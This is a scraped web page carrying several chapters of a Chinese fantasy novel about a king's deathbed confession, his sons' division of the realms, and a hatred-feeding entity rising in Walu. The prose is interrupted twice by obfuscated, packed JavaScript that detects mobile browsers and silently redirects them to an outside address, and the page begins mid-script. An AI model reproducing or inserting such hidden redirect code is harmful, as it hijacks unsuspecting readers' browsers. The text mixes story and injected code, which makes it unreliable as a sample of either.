RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632104|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只认一个主人的哨音。 破霄是他从小养大的,从雏鹰喂到能飞,寄居曦宇后,仍未断了联系?后来他去了杏花村,三年没有回来。 三年。破霄一直留在宫中,替他守着那一方檐角。每年换毛的季节,它会在宫墙最高处蹲着,面朝杏花村的方向。宫里的人都说这只鹰老了,不爱动了。没人知道它在等什么。 天边有个黑点。 黑点越来越大,翅膀收束着俯冲下来——破霄的飞行姿态和三年前没有两样,速度、角度、收翅的时机,都还是他教的那个样子。但它在离拓宏一丈远的地方猛地顿了一下,翅膀拍了两下空气,悬在那里。 它听见哨音了——三年了,没有吹响过。 然后它叫了一声。 不是传讯时的短叫,不是觅食时的尖叫——是一种拓宏自己都没听过的声音,又短又急,像哭,又像笑,嗓子眼里抖着的。翅膀一振,直直扑过来,落在拓宏肩膀上,爪子攥着他的衣料攥得发紧,脑袋往他颈窝里拱,拱得他脖子发痒。金黄色的眼睛亮得像两团火。 没有辨认,没有犹豫。三年没见,但那个人一开口它就知道——弯还在,调还在,他还是他。拓宏抬手抚它的背,破霄在他掌心里蹭了一下,又叫了一声,这回声音稳了,短促有力,像在说:你去哪了。 拓宏笑了一下。三年没笑过的脸上,这一下笑得很轻,但确实笑了。 "想我没有?" 破霄拿脑袋顶了一下他的下巴。 然后拓宏看见了它爪上绑着的东西。 不是寻常的传讯铜管。铜管旁边,还多绑了一枚寸许长的竹筒——他认得这个。那是他当年布在暗处的一枚令信,只有他的暗卫系统启动时才会用到。竹筒里装的是一枚信号弹,弹体裹着蜡,蜡上刻着他才认得的暗纹。 他取下竹筒,拧开,把信号弹握在手里。破霄在他肩上轻轻叫了一声,像是完成了任务。 拓宏看了看手里的信号弹,又看了看天。他抬手,将信号弹朝天掷出—— 一道赤色的光冲上半空,在高处炸开,无声,但光芒极亮,像一颗红色的星悬在天幕上,烧了三息才灭。 古树林里安静了一瞬。 然后,动静来了。 先是最近处——银杏树后方的灌木丛里,一个灰衣人无声地站了起来,单膝跪地。然后是左边,一块覆着苔藓的巨石后面,又站起一个。然后是右侧的古树树冠——一个黑衣人从枝叶间落下,轻得像一片叶子着地。然后是远处渠水边——一个正在打水的农人直起腰,把手里的木桶放下了。然后是木屋后方——一个一直蜷在檐下打盹的乞丐站了起来,抖了抖身上的灰。 五个人。五个方向。谁也不知道他们在这里藏了多久——也许一天,也许五天,也许从拓宏踏上循化岛的那一刻起就在了。 五人同时单膝跪地,齐声道:"参见少主。" 领头的是个中年男人,面容平淡,像路边最常见的行脚商人。但他的眼睛不一样——沉,静,像两潭死水底下的暗流。 "暗卫五人,奉命护送少主的。马匹、换洗衣物、干粮已备于岛北渡口。" 拓宏看着他们。他离宫时种下的棋子,在他不在的时候自己生了根。他没有问他们怎么知道自己在这里——暗卫有暗卫的规矩,他知道得越少越好。 "起来。"他说。 五人起身,退到三人身后,无声无息。 这时,古树林边缘又跑来几个人。跑在最前面的是一个中年男人,身形消瘦,面色焦黄,穿着一件洗得发白的蓝灰色长袍,腰间别着一枚铜印。他跑得气喘吁吁,进了平地便直奔拓宏来——看见暗卫们已经站在拓宏身后,脚步顿了一下,随即整了整衣袍,拱手一礼。 "小人是青岚理政使,覃徵。" 拓宏看着他。"覃大人。" 覃徵的目光在拓宏脸上停了一瞬,又看了看那双血肉模糊的手。他没有多问,只说:"灵脉通了。古树在回绿。渠水已清。"他顿了一下,声音微颤,"少主……大人还在木屋里?" "在休养。莫扰他。"拓宏说。 覃徵重重地闭了一下眼,再睁开时,眼里的红已经压下去了。"小人明白。小人会守在这里,等大人醒来。少主放心去——这里有我。" 悦然还看着那扇门。门关着,里面是沉睡在修复中的煦审年。 "他醒的时候,"悦然说,"告诉我在哪。" 覃徵看了她一眼,点了点头。"一定。" 拓宏转身,朝古树林外走去。破霄从他的肩上振翅飞起,在高处盘旋引路。五个暗卫无声地跟在后面,两人在前探路,两人在两侧护翼,一人殿后。拓云和悦然跟上。 岛北渡口果然备好了马——三匹快马,毛色不起眼,但腿力极佳,一看就是长途奔袭的好马。旁边还有换洗衣物和干粮,包得整整齐齐。 三人换过衣物,翻身上马。暗卫领头人一挥手,五人分散开来,前后左右各据方位,将三人护在中间。 到青岚王宫的时候是黄昏。暗卫已提前用令信通了关卡,青岚旧部认出来拓宏,单膝跪下来:"少主——"拓宏没有应声,打马直入宫门。 暗卫们没有跟进去——他们停在宫门外,像来时一样无声地散入了夜色中。领头的那个在临走前看了拓宏一眼,拓宏微微点头,他便消失了。 内宫已有管事太监在等候。看见拓宏三人的模样,眼圈一红,但很快压住了,安排了热水、衣物和吃食。三人洗去了一路的灰土和血迹,换上干净的衣袍。热汤端上来,拓宏没有喝多少,拓云喝了一碗,悦然碰了碰碗沿便放下了。 拓宏让人给拓云和悦然各自安排了寝殿。三人都需要睡一觉——三天拼杀,加上之前在的消耗,都已经到了极限。 "先睡。"拓宏说,"安心!" 拓云点点头。他走进寝殿,和衣倒在床上,几乎立刻就睡着了。悦然也进了隔壁的寝殿,关了门。 拓宏回到自己的寝殿,坐在床沿上。他搓了搓脸,让自己不去想任何事。破霄从窗棂飞进来,蹲在床头的横木上,金黄色的眼睛在黑暗里亮了一下,然后也闭上了。 他吹灭了灯,躺下去。 这一觉睡得很沉。三个人都睡得很沉。太累了——身体终于找到了一个可以放下的地方,便什么都不管了。 拓宏是被敲门声吵醒的。 窗外还是黑的——不到寅时。敲门声急促,是管事太监的声音:"少主——少主——" 拓宏一下坐起来。"说。" "王……王上病危。太医院刚来报的——王上醒了,说要见公子们。一直在叫……一直在叫你们的名字。" 拓宏的手攥紧了被角。廊下的灯已经全亮了。管事太监站在门口,脸色煞白。 拓宏转头看了一眼隔壁两间寝殿的门—— 两扇门同时打开了。拓云和悦然站在各自门口,脸色都是一样的——刚醒,还没完全清醒,但已经听见了。 "走。"他说。 41. 湮渊出世 父母之爱子,则为之计深远。 ——《左传·触龙说赵太后》 三人日夜兼程。 从循化岛到曦宇国,快马五天的路,他们三天走完。 拓宏骑在前面,手已经握不住缰绳,悦然为他疗伤很多次,伤反复很多次。最后,他用布条把缰绳缠在手腕上,靠胳膊的力量带马。 拓云跟在后面,沧澜之力虚而未复,脸色一直发白,但马步没有慢。 悦然在最后,一路上一直沉默着。 到莲京的时候是黄昏。城门没有关——八百里加急的文书到了之后,城门就不关了,等王子们回来。 守门的士兵看见三匹马冲过来,衣服上的灰土还没来得及洗,认出了拓宏的脸,单膝跪下来:"殿下,快——王上等着呢。"拓宏没有应声,打马直入宫门。 宫里的灯全是亮的。 宇文轩的寝殿在宫城最深处,殿门大开着,里面的光从门槛上漫出来,照在廊下的青砖上。太医跪了一地,药炉上的药汤咕嘟咕嘟地滚着,苦味弥漫了整条廊道。 拓宏先进去的。他推开殿门的时候,看见了他的父亲。 宇文轩躺在床上。三年不见,病容已经浸到了骨头里。脸色灰败,像蒙了一层旧纸,颧骨高耸,嘴唇干裂得起了皮,眼窝深陷下去,像两个装了阴影的坑。但他的眼睛还亮着。那双眼睛里有一种不该属于将死之人的光——清醒的,固执的,像一盏快要烧尽的灯,灯油没了,灯芯还在,硬撑着最后一点亮。 他看见拓宏进来,眼睛动了一下。 "回来了。"声音像风吹过枯叶,几乎没有声响,但拓宏听见了。 他走到床边,单膝跪下,把缠着布条的手藏进袖子里。 "父王。" 宇文轩的目光从他脸上移到门口——拓云和悦然进来了。 拓云走到床边,在拓宏旁边跪下,已经在抽泣。 悦然站在后面,没有跪,只是低着头。宇文轩看了他们一会儿,没有说话。 然后他抬起手——那只手瘦得像枯枝,青筋攀在手背上,指节嶙峋——朝悦然招了招。 悦然走过去,在他床边蹲下来。 宇文轩看着她,抓住她的手,嘴唇动了一下。"梧苒——"他叫错了。 他叫的是另一个名字,一个很久很久以前的名字。然后他像是意识到自己叫错了,眼睛里那层亮闪了一下,嘴角动了动。 "悦然。"他改口,声音更轻了,"你像她。"悦然没有说话。 宇文轩闭了一下眼,再睁开时,目光已经移开了。 他看向拓宏,又看向拓云,嘴唇翕动了几下。太医赶紧把药端过来,他摇了摇头。 "石儿呢?" 拓宏答:"在路上了。快了。"宇文轩点了点头。他的目光落到了棚顶某处,看着那里,像是在看很远的地方。 "我有话,要说与尔等。" 太医们退了出去,殿门关上。殿里只剩下他们四个人——一个将死的父亲,两个跪在床边的儿子,一个坐在角落的姑娘。 宇文轩沉默了很久。久到拓云以为他睡着了,他开口了。 "梧苒的事——你们都知道她是怎么走的。"拓宏的脊背绷直了。拓云低下了头。 "她是青岚女君。"宇文轩的嘴唇动了一下,声音断了,过了片刻才接上,"青岚灭国前夜,她把宏儿……托付给梧冲庭送出城。自己留在了城中。"他又停了,肋骨在皮肤底下起伏了一下,像是在攒力气。"她给我写了信。" 殿里很安静,只有药炉里炭火偶尔剥落的声音。 "我没有出兵。" 这句话说得很轻,但每个字都是完整的。 "等了三天。"他的眼珠动了动,像是在看什么很远的东西,"等她来求我。她没有来。" 又停了很久。 "后来青岚没了。三岁的宏儿",他的喉结滚了一下,"问我:我母王呢?" 拓宏的拳头在袖子里攥紧了。布条底下的灼痕裂开,血渗出来,他没有动。 "我说,朕派了兵。"他的嘴角抽了一下,不知道算不算苦笑,"派了。太晚了。" 又安静了很久。殿外有风穿过廊道,吹动了窗纱,月光从窗纱里漏进来,落在宇文轩的脸上。那张脸灰败、枯瘦,但眼睛里的光还亮着——他要等的人还没到齐。 "一直在想——"他的声音更碎了,像在自言自语,"如果那天出兵……她会怎样。" 他停了很久。久到殿里的人以为他不说了。 "大概会活到今天。"声音几乎是气音了,"会种一院子桃花。" 就这么一句。没有"看着你们长大",没有"给你们娶媳妇"——那些太长了,他说不动了。但"种一院子桃花"几个字落下来,比任何完整的句子都重。那是梧苒生前最喜欢的事,他记得。 "悦然。"他忽然叫了一声。 悦然抬起头。 "替我——"他停了一下,肋骨又鼓了一下,"跟她说。对不起。跟宏儿说,对不起……"他的目光又涣散了,不知道他此刻看到了什么。 悦然看着他,看了很久,然后点了一下头。"好。" 拓石是在第二天清晨到的。他进门的时候满身风尘,靴子上的泥还没来得及擦。他看见床上的父亲,脚步顿了一瞬,然后快步走到床边,在拓宏和拓云旁边跪下。 "父王。"宇文轩看见他,眼睛里的光又亮了一些。他的目光从三个儿子脸上依次扫过,停了一停,然后落在远方。 "都齐了。"他深吸了一口气,那口气吸得很艰难,肋骨在皮肤底下鼓了一下又瘪下去。 "曦宇……宏……"拓宏的脊背一震。 宇文轩的目光移到拓石身上,停了一停。还没有开口,拓石先出了声。 "父王。"他直起上身,与宇文轩对视。他的眼眶是红的,声音却稳——"儿臣不要曦宇。二弟比儿臣更适合做曦宇的王。儿臣——想要凛锋。" 宇文轩微微一怔。他看着拓石的眼睛,那双眼睛里没有不甘,没有委屈,只有笃定。 "凛锋初平,法治未立,百姓苦了太久。儿臣去那里,不为称王——去推行法治。让律令替百姓说话,让规矩替他们撑腰。儿臣把法立起来,把规矩钉死,让后来的人拆不掉。" 他停了一下,声音低了些。 "父王,儿臣从小便知,您能坐稳曦宇的江山,是靠梧苒姑姑的帮助。没有她,便没有曦宇的今日。儿臣和云弟幼时便觉得——这王位不该是自己的。二弟心里的苦比我们多得多,失去的比我们多得多。从小,母后便告知我们,要让着二弟,但我们心中,却是不甘。不甘为何要欠下这样的债,还不了。" 他顿了一下。 "如今,儿臣已经有了凛锋。儿臣有信心把那里建好。求父王成全。" 殿里极静。宇文轩看着拓石,看了很久。拓宏的脊背挺得笔直,心中所有的痛,却一夕之间烟消云散了。宇文轩轻轻点了点头。那一下很轻,也很重。 "便去,不必困佑灵宙之说。" 拓石的眼眶终于兜不住了。泪滚下来,砸在青砖上,他没有擦。 "儿臣领命。" “云儿,便去滨蓝。你外祖……你可担……”拓云低着的头抬起来,便只点了点头。 “道法自然。儿臣会带滨蓝恢复清明,返璞归真。” 宇文轩的目光从拓石身上移到拓宏身上,又移到拓云身上。他的呼吸已经非常浅了,每一下都像从很远的地方拉回来。 "你们三个——各自为王。但有一事,要应朕。" 三人同时抬头。 "青岚的,还给青岚。" 他停了片刻,他提上一口气。 "宏儿,曦宇王,青岚少主——如何做,你自己想。" 拓宏跪在床边,握着父亲已经凉下去的手,用力攥了一下。"儿臣知道。" 宇文轩的目光从三人脸上依次扫过。然后他闭上眼,长长地呼出一口气。那口气呼得极缓,像是从胸腔最深处一点一点挤出来的。 "都齐了。"他说。 他的呼吸在变浅。从一呼一吸之间能听见声音,到只有呼的时候有声音,到呼的时候也听不见了——只剩胸口的起伏,一点一点的,像风里最后一片叶子。 拓宏握住了他的手。那只手已经没有温度了,枯枝一样的手指在他掌心里微微蜷了一下——那是宇文轩最后的力气。 然后那只手松了。胸口的起伏停了。 殿里很安静。药炉的炭火灭了,苦味还在。月光从窗纱里漏进来,落在他脸上,那张脸很安静——比活着的时候安静,所有的执念、愧疚、悔恨都放下了。 拓宏跪在床边,握着父亲已经凉下去的手,没有动。拓云跪在他旁边,低着头。拓石跪在最外面,眼泪还在流。 悦然站在殿角,看着这一幕,没有走过去。 丧礼在第三天。 曦宇国的白幡从宫门一直挂到城门,风一吹,白布猎猎作响,像满城的鹤在扑翅膀。 三个王子跪在灵前,披麻戴孝。 百官来了,属国来了,瓦鲁也派了人来。 没有人哭得比拓石厉害,也没有人跪得比拓宏久。 丧礼之后,拓宏在灵前即位,承曦宇王位。他没有大宴,没有庆典,只在灵堂里对着父亲的灵位磕了三个头,然后站起来,脱下丧服,换上王袍。 王袍很重,袖口的金线扎手,他穿上之后在灵前站了一会儿,像是让父亲最后看他一眼。 悦然站在灵堂外面,隔着门帘看着他。他走出来的时候,脸上的表情和进去的时候没有变化——沉的,稳的,像一块被磨过的玉石。但他看见悦然的时候,脚步顿了一瞬。 他站在灵堂门口,背对着满堂的白幡,看着廊下的天光。然后他伸出手——那只手上的灼痕已经结了痂,手指还是弯不太动——拉住了悦然的手。 “抱歉,我欠你一个婚礼。” “无碍。”悦然没有缩回去。 拓云走得最早。丧礼第二天便启程去滨蓝。沧澜之力恢复了一些,不够,但够赶路。 他走的时候没有带多少人,一匹马,一把剑,和拓宏给他的滨蓝印信。拓石和拓宏送他到城门口。 拓石只拍了拍拓云的肩膀说:“云儿长大了。”拓云抱了抱拓石:“大哥,近日,你可有想起什么?” 拓石看着拓云的眼睛,良久,叫了声:“安云。” 拓云眼眶一湿,更紧地抱住拓石。 “便只是些碎片。”拓石又说。 “吾等亦然。” 拓云望向拓宏:"二哥。"拓云叫了一声。 "嗯。" "师兄——什么时候醒?" "会醒的。" 拓云点了点头。他拨转马头,朝东走了几步,忽然又勒住马,回过头来。 "二哥,拓夏——"他没说完。嗓子里堵了一下。 拓宏看着他。"我让人把她送回曦宇了。你放心。" 拓云闭了一下眼。"谢二哥。" 他走了。马蹄声在城门口渐远,向东,往滨蓝的方向去了。 拓石离开时没有走城门。 他在宫里住了七日,白日帮拓宏收拢人心,夜里翻自己那本律令初稿。 头七一过,清晨拓宏推开书房门,看见拓石的字条,人已经往凛锋去了。 他问守夜的侍卫。侍卫说,曦坤王天没亮就走了,一人一马,走的是北门。 三兄弟,三个方向。一个往东,一个往北,一个留在原地。 宫里安静下来了。拓宏坐在书房里批奏章,一盏灯,一壶茶,和堆了半张桌子的文书。悦然坐在偏厅里,手里拿着一卷书,眼睛没在看。窗外的风把白幡吹得沙沙响——白幡还没拆,要过了七七才能拆。 "悦然。"她抬起头。 拓宏站在书房门口,手里拿着一支笔,笔尖的墨滴在地上。"青岚来人了。覃徵的信。" 悦然站起来,走到他面前。拓宏把信递给她。信很短。覃徵的字写得很工整,一笔一画地写——"大人未醒,气息日稳,面色渐润。古树尽绿,渠水清澈。" 悦然把信合上,攥在手里,站了很久。 "近日灵气波动,想必不日便能醒来。"拓宏说。 悦然点了点头。 她走回偏厅,坐下来,重新拿起那卷书。这回她的眼睛在看——但看的是一行字,反反复复地看了很多遍,那一行字是——"死生契阔,与子同悦。" 她忽然笑了一下。很轻的笑,嘴角弯了一弯,眼底有湿意在转,但没落下来。她把书合上,搁在膝头,抬头看向窗外。 窗外是曦宇的天,灰蒙蒙的,和白幡一个颜色。但风里有春天的气息了——很淡,要仔细闻才闻得到,泥土翻过来的、草芽拱出来的、渠水解冻的——活着的味道。 但不是所有地方都闻得到这个味道。 青岚。木屋里很安静,煦审年沉在修复中。灵力一寸一寸地修补着枯槁的经脉,像春天的暖水淌过冰层底下,一路解冻。 一天。两天。第三天的黄昏,古树们忽然同时颤了一下。 不是风吹的——风从西边来,树往东边颤。是地底下的东西在动。渠水里的净水忽然加速了,法阵纹路亮了一下又暗下去,像心脏跳了一拍。银杏树的枯枝上,一个极小的芽苞无声地鼓了出来——三天前它还像一段死木头,此刻芽苞裂开,露出里面嫩绿的芽尖,像一根针那么细,但确确实实是绿的。 然后是第二棵,第三棵,第四棵——古树林里此起彼伏地响起细微的"咔"声,芽苞撑破树皮的声音,像骨头归位。覃徵站在木屋门口守了三天,此刻猛地回头看——渠水变了。原来只是清澈,此刻水里隐隐有光在流,像液态的金,从渠底往水面泛。光顺着渠水往远处淌,淌过之处,两岸的枯草根部冒出了新绿。 木屋里亮了。 不是灯——是煦审年的身体在发光。灵力终于修补完了最后一条经脉,仙根从沉睡中彻底苏醒,五神之首的生机从仙根底端往外涌。先是指尖——指尖泛起淡金色的光,像血管里流的不再是血而是融化的金子。然后是手背,手腕,小臂——光沿着经脉的走向蔓延,一寸一寸地往上走,所过之处,枯槁的皮肤在充盈,干瘪的肌肉在回润。白发没有变黑——那不是衰老,是五神之首的标志,但发丝从枯草一样的干涩变成了缎子一样的柔顺,铺在枕上,在光里泛着银。 他的胸口亮得最盛。心口处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632105|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙根的主脉在那里分岔,灵力像泉眼一样往外涌。光透过衣料、透过皮肤,把他整个人裹在一层淡金色的光晕里——不像人,像一尊刚刚从石头里剥出来的神像,每一道纹路都是新的,每一寸都是活的。 古树林炸了。 不是一棵两棵——是整片古树林同时抽芽。几千棵树,几万根枝,在同一瞬间爆出新绿。"咔咔咔"的声音连成一片,像无数骨头同时归位,像无数扇门同时打开。芽苞撑破树皮的声音在古树林里回荡,嫩叶展开的声音像丝绸被抖开。三天前还是一片灰败的死林,此刻绿意从树冠往树干蔓延,从树根往枝梢涌——不是慢慢变绿的,是炸开的,像有人往每一棵树的根底下都灌了一把火,烧出来的不是灰烬,是生命。 渠水里的光更亮了。液态的金从渠底涌上来,漫过渠沿,淌进泥土里。净水过处,枯草返青,苔藓变绿,连石头缝里都冒出了蕨类的嫩芽。循化岛在回春——不是春天的春,是一个被封印了太久的地方终于松了绑,把压了几百年的生机一口气吐了出来。 鸟来了。不知道从哪里来的——天边出现了黑点,越来越多,是鸟群。它们落在刚刚抽芽的枝头上,叫了一声,又飞起来,盘旋,又落下。虫也在动——泥土底下有什么东西在拱,一只甲虫从腐叶堆里爬出来,触角动了动,抖掉翅膀上的灰,飞了。 覃徵跪下了。不是因为光太亮,不是因为树在炸——是因为他感觉到了。地脉在震,从循化岛的中心往外,一圈一圈地扩散,像心跳。那个心跳里有一种他从未感受过的东西——不是灵力,不是法力,是更古老的、更深的东西,像是大地本身的意志在苏醒。他跪在地上,额头贴着泥土,浑身发抖。他是青岚理政使,见过灵脉,见过法阵,见过很多了不起的东西——但没见过这个。 五神之首,苍野尊神,醒了。 地脉里,生机从循化岛的中心往外涌,顺着地脉的河道流向四方。过青岚,过曦宇,过瓦鲁——每一寸流过的地方,浊气都被逼退了一分。 这本该是好事。 但浊气不会凭空消失。它被生机逼退,便往低处聚——往瓦鲁最深处的那口浊泉里灌。浊泉已经沉寂了很多年,底下的淤泥像死了一样,什么都不动。戾气在淤泥里睡着,没有形体,没有意识,只是一团沉沉的死物。 生机渗进来了。 净水淌过浊泉的边缘,冲开了一层淤泥。底下露出来的不是清水——是比淤泥更深、更稠、更黑的东西。那是瓦鲁数百年积攒的恶:战场上渗进土里的血,矿洞里闷死的冤魂,宫变夜里溅在砖缝里的骨肉相残,集市上冻死饿死的人最后一口咽不下去的气。这些东西在浊泉底下压了太久,压成了一团密实的、近乎凝固的浊核。 生机触到浊核的那一刻,浊核醒了。 不是被消灭了——是被激活了。就像一根火柴扔进了沼气池。生机的暖意松动了浊核外层的壳,底下压了数百年的戾气找到了裂缝,往外涌。浊核开始膨胀,开始蠕动,开始有了形状。 瓦鲁。 渊湮从浊泉里走出来,就站在那片被黑水浸透的荒原上。起初它很小,蜷缩着,像一团从地底呕出来的淤血。但它在长大——不是一天一天地长,是一寸一寸地吸。每一寸都是从瓦鲁的土地里吸来的。 它不需要学走路。赤脚贴着地面,不是它自己在走——是瓦鲁的戾气在推它。哪里怨气最重,它就往哪里滑。滑过荒原,荒原上的草枯了;滑过河床,河床里的水黑了;滑过村庄,村庄里的狗不叫了,缩在墙角发抖,嘴角溢出白沫。 它不需要学说话。它只需要呼吸。每一次吸气,瓦鲁的怨念便往它体内涌——战场上被遗弃的残甲里的恨,矿洞里被活埋的矿工骨头缝里的怨,宫墙内父子相残时溅在砖缝里的血,集市上那对母子攥着馒头咽气前的绝望。它全吸进来。这些恶在它体内融合、发酵、膨胀,变成更浓、更稠、更纯粹的浊气。 它不需要长五官。吸了谁的恶,便显出谁的脸——吸了元乾的残暴,脸上便浮出元乾的轮廓;吸了宫变那夜叛军的杀戮,嘴里便长出叛军的獠牙;吸了瓦鲁百姓骨子里的恨,眼眶里便涌出无数人的怨毒。脸叠着脸,嘴咬着嘴,所有的恶在它体内互相吞噬、互相融合,最终变成一张谁也认不出的、只属于它自己的脸——冷漠的,空洞的,像一口永远填不满的井。 它在膨胀。每吸一寸戾气,身体便大一分。从蜷缩的淤血变成匍匐的阴影,从阴影变成遮天的黑雾。雾里有什么东西在动——不是手脚,不是头颅,是无数张嘴,在同时呼吸。 当戾气不够的时候,它便自己制造。黑雾无声地蔓延,渗入瓦鲁的每一寸土地、每一座城池、每一个人的梦里。它在父子之间低语,放大彼此的不满,让儿子觉得父亲偏心,让父亲觉得儿子不孝;它在邻里之间挑拨,把一句无心的话扭曲成侮辱,把一个无意的眼神扭曲成挑衅;它在君臣之间搅动,让臣子觉得君王猜忌,让君王觉得臣子谋逆。它什么都不用做,只需要在那些本就存在的裂隙上轻轻一推——然后等着。 人们开始争吵,开始仇恨,开始复仇。为了一句传言拔刀,为了一块田地的边界屠村,为了一桩旧怨世世代代杀下去。愤怒让他们忘记了恐惧,仇恨让他们忘记了痛苦,复仇的快感像烈火一样烧遍全身——他们以为那是力量,那是尊严,那是活着的意义。他们不知道,那些从自己心底涌出来的愤怒、怨恨、杀戮欲,正是渊湮最美味的食物。它不吃血肉,它吃的是血肉之躯里喷薄而出的恶念。每一次复仇的刀落下,每一次仇人的血溅出来,每一次看着对方痛苦时心底升起的快意——都是渊湮的食物。它吃得越饱,便膨胀得越大;它膨胀得越大,便越有力量去逗弄更多的人、激化更多的冲突、制造更多的仇恨。 然而有一片地方,它伸不进去。 城西的止杀寺。宇文炀崎在那里。 他脱了王袍,穿一身素衣,每日在寺中讲经。讲因果,讲慈悲,讲放下。 他说:以暴止暴,仇恨只会越滚越大。杀了仇人,仇人之子再来杀你。你的儿子再杀仇人之子,世世代代没有尽头。总要有人先停手。他给来听经的人施粥、给药、治病。他教人打坐,教人调息,教人在愤怒涌上来的时候先数自己的呼吸——数十下,再决定要不要拔刀。他没有逼迫任何人放下仇恨,他只是告诉他们:还有另一种活法。 越来越多的人来了。 先是城西的百姓,然后是城东的商贩,然后是远道而来的矿工和他们的家眷。止杀寺的香火一日比一日盛,大殿里坐不下,便坐到院子里,院子里坐不下,便坐到寺门外的石阶上。那些听过讲经的人回到家里,戾气便消了一分;那些受过施粥的人再拿起刀,恨意便淡了一层。 渊湮感到了饥渴。那些本该属于它的愤怒和仇恨,被止杀寺一点一点地化解了。它伸不进那片地方——寺里的慈悲之气像一道无形的墙,把它的黑雾挡在外面。它只能在外围徘徊,等着那些不信因果、不愿放下的人自己走出来。 但它还在长大。 瓦鲁的伤口太大了,止杀寺能护住的只是一小片地方。寺墙之外,渊湮的黑雾仍在无声地蔓延。它在等——等一场足够大的冲突,等一次足够深的仇恨,等那些还在犹豫、还在挣扎的人,迈出那一步。 瓦鲁的夜很黑。但那个东西,比夜更黑。 42. 秉彝之德 民之秉彝,好是懿德。 ——《诗经·大雅·烝民》 瓦鲁的夜,比墨还浓。 城西永宁巷深处,一间歪斜的土坯房里,阿四醒了。 他是痛醒的。膝盖以下空荡荡的裤管,断口处的旧伤在阴雨天里咬着他的肉,像有人拿钝刀在骨头上慢慢锯。 三个月前他还有两条腿。三个月前他在瓦鲁和凛锋的战场上,他推着辎重车,一块松动的山石从头顶砸下来,他推开身边的儿子,山石碾过了他的腿。 儿子活了下来。他的腿没了。 股长扔了半度银子,让人把他抬回这间土坯房。半度。他两条腿值半度。 三天前,儿子发了高烧。 阿四拖着半截身子爬到药铺门口,药铺伙计捏着鼻子把门关了。他爬到第二家,第三家,第四家——每一扇门都关上了。没有人愿意赊一副药给一个连腿都没有的老行伍。 昨天,儿子在他怀里咽了气。八岁。身子轻得像一把柴。 阿四没有哭。眼泪是活着的人才有资格流的东西。他只是瘫在床沿,从昨天坐到今天,从天亮坐到天黑。 然后那个声音来了。 "爹——" 是儿子的声音。从屋角那个黑暗的角落传来,轻飘飘的,像隔着一层水。 阿四浑身一震。他撑着双手从床沿摔下去,拖着半截身子往那个角落爬。膝盖的断口磨在地上,血和泥混在一起。 "狗儿?狗儿你在哪?" "爹,我冷。" 声音从另一个方向来了。阿四猛地转身,看见墙角那面裂了缝的土墙上,有一团黑影。不是儿子的影子——那团黑影比儿子高,比儿子大,但它说话的声音和儿子一模一样。 "我冷,"那个声音又说,"他们不救我。他们关上门。他们看着你爬。他们在笑。" 阿四的嘴唇在发抖。不是怕——是恨。那股恨从断腿的伤口里往上涌,从抱着儿子尸体的那条胳膊里往上涌,从被一扇一扇门关在街上的那个夜晚往上涌。 "我给他们卖命,"他听见自己的声音,嘶哑的,"我给军中干了十六年。十六年。半度银子。我儿子——" "八岁。"那个声音轻轻地说。 阿四的眼眶终于兜不住了。 "他们在止杀寺,"那个声音说,"那些关上门的人,那些笑的人,都在止杀寺。他们说慈悲,他们说放下——" 声音顿了一下。 "你的儿子,你能放下吗?他能放下吗?" 阿四的瞳孔猛地一缩。 他低头看了看自己的手。那双满是老茧的、挖了十六年老兵的手,正在发抖。不是冷,是攥了太久太久的什么东西,终于找到了可以砸出去的方向。 他撑着地,开始往外爬。 门外是永宁巷的泥路。他爬过泥,爬过石,爬过一摊不知道是什么的脏水。断腿的旧伤裂开了,黑红色的血在泥地上拖出两道痕。他不觉得疼。 什么都比不过儿子在怀里一点一点凉下去的疼。 他爬出永宁巷,爬上大街,爬过城西的牌坊。路过的行人往旁边躲。有人骂了一句"疯子",有人捂住了孩子的眼睛。没有人拦他。 他手里攥着一块石头。从路边捡的。不大,但棱角很尖。 他不知道止杀寺有多远。他只知道那个方向——暮钟的声音从那个方向来,一声一声的。 他要去找那个叫宇文炀崎的人。他不是说慈悲吗?他要当着所有人的面问他一句—— "我的儿子放下了吗。" 三十里外的荒丘上,那团黑雾翻涌了一下,像一个人在黑暗里笑。 它没有名字。但它知道——只要阿四爬到止杀寺门口,只要他把那块石头砸出去,不管砸到谁,那一片慈悲之气就会有第一道裂缝。 ——————————— 曦宇王宫。御书房。 卯时刚过,天还没亮透。拓宏已经坐在案后批了半个时辰的奏章,手边一盏茶凉了,他碰也没碰。 悦然推门进来,手里端着新沏的热茶。她把茶放在他手边,看了一眼案上摞着的文书——最上面一封,火漆是瓦鲁的急报红封。 "瓦鲁来的?" "昨日子时到的。"拓宏没有抬头,"止杀寺被围了。" 悦然的手停在半空。 "何人所为?" "百姓,残兵——失了地的,失了亲的,被欠了钱的。"拓宏终于抬起头,眼底有血丝,"不是军队。就是一群——觉得这世道欠了他们的人。" 悦然接过信,扫完。字里行间压着一种近乎绝望的恳切:寺外日夜有人叫骂,有人往里扔石头。宇文炀崎没有关寺门,也没有让护寺僧持棍。他在寺门前打坐,坐了三天了。 悦然把信放下。 "他在等什么。" "等那些人打够了。"拓宏说,"等他们把恨撒完了,再与他们说话。" 两人沉默了一阵。 窗外传来几声鹰唳。破霄从宫墙上盘旋而来,收翅落在殿外的栏杆上,歪着头往里看。 拓宏站起来,走到舆图前。四国疆域在羊皮纸上展开,曦宇居中,青岚在东,瓦鲁在南,凛锋在西,滨蓝在北。 "炀崎在瓦鲁以慈悲渡怨,"他说,声音不高,"拓石在凛锋以律法束凶,拓云在滨蓝以自然化欲,煦审年之前青岚以礼序规行。" 他停了片刻。 "皆是好心。但——皆有所偏。" 悦然没有接话。 